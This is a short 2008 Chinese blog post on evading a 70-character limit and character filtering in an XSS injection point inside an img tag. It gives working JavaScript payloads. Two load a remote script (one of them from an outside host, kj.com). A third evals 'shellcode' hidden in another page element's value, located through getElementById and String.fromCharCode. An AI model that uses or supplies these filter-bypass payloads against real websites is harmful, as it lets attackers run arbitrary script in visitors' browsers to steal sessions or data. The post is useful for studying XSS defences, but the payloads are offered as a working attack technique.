通过getelement定位XSS SHELLCODE

      今天跟AMXSA在弄一个XSS的时候就讨论到,字符长度限制了70个,该XSS是出现在
<img src="xsscode"> , 后来他说对方过滤了 < > " ' 这样 只能有限的调用。
开始我建议他 多弄几个 <img  然后 代码分别写在不同的  src= 中 这样间接的把代码连贯起来。
后来他尝试了发现不可以对方处理 <img 头像的时候只有一个攻击点,郁闷了!
     
      想想平时我们XSS导入一个远程的JS就是为了执行更多的代码,更方便。
    1.
        window.k=document.createElement('Script');
        window.k.src='c:/aaa.txt';
        document.getElementsByTagName('head')[0].appendChild(window.k);
    2.
        document.getElementById('xxxxx').innerHTML+="<Script src='http://www.kj.com/kj.js'><//Script>";


      想来想去,最后想出一个有点像溢出里面把  SHELLCODE写到栈里面,然后跳转执行esp的代码,
同理我们XSS也可以类似的方式。我们把shellcode写到签名的value里面 然后通过获取一他的值 直接eval执行

    3.
        eval(document.getElementById(String.fromCharCode(XX,XX,XX)).value)
        也不一定是ById的,可以是ByName或者ByTag,ByTagName 都可以!

    效果不错 嘎嘎

posted on 2008-07-25 15:50  springside例子  阅读(243)  评论(0编辑  收藏  举报